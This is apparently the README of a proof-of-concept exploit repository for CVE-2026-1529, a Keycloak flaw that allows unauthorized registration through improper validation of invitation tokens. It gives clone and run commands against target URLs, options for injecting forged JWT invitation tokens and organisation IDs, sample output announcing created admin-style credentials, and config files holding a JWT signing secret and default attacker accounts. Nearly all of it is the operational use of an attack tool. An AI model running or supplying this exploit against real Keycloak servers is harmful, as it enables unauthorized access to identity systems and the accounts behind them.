git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC

pip install -r requirements.txt

chmod +x keycloak-exploit.py

# 대상 URL을 사용한 표준 사용법
python keycloak-exploit.py https://target-keycloak.com

# 도움말 표시
python keycloak-exploit.py -h

# 버전 표시
python keycloak-exploit.py -v

# 사용자 정의 초대 토큰 사용
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com

# 사용자 정의 조직 ID 사용
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com

# 사용자 정의 구성 파일 사용
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com

# 디버그 로깅 활성화
python keycloak-exploit.py -d https://target-keycloak.com

=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529

🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account

📄 Report saved to: output/reports/exploit_report_20260210_134556.txt

🔐 Use the provided credentials to access the Keycloak instance!
⚠️  This demonstrates unauthorized access due to CVE-2026-1529

=============================================================
by f3ds cr3w est, 2002
=============================================================

=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable

❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log

CVE-2026-1529-POC/
├── keycloak-exploit.py          # 메인 익스플로잇 스크립트
├── requirements.txt             # Python 종속성
├── README.md                   # 이 파일
├── config/
│   └── default_config.json     # 기본 구성
├── utils/
│   ├── jwt_utils.py            # JWT 조작 유틸리티
│   ├── http_utils.py           # HTTP 클라이언트 유틸리티
│   └── crypto_utils.py         # 암호화 유틸리티
├── output/
│   ├── logs/                   # 로그 파일
│   └── reports/                # 익스플로잇 보고서

{
  "exploit": {
    "default_username": "admin_user_2026",
    "default_password": "KeycloakCVE2026!",
    "default_email": "[email protected]",
    "timeout": 30,
    "max_retries": 3
  },
  "jwt": {
    "algorithm": "HS256",
    "secret_key": "keycloak-cve-2026-1529-exploit",
    "token_expiry": 3600
  },
  "target": {
    "endpoints": {
      "realms": "/realms",
      "organizations": "/organizations",
      "register": "/register",
      "login": "/login"
    }
  },
  "output": {
    "log_level": "INFO",
    "save_reports": true,
    "report_format": "txt"
  }
}

{
  "exploit": {
    "default_username": "custom_user",
    "default_password": "CustomPassword123!",
    "default_email": "[email protected]",
    "timeout": 60,
    "max_retries": 5
  },
  "jwt": {
    "algorithm": "HS256",
    "secret_key": "custom-secret-key",
    "token_expiry": 7200
  }
}

python keycloak-exploit.py -d https://target-keycloak.com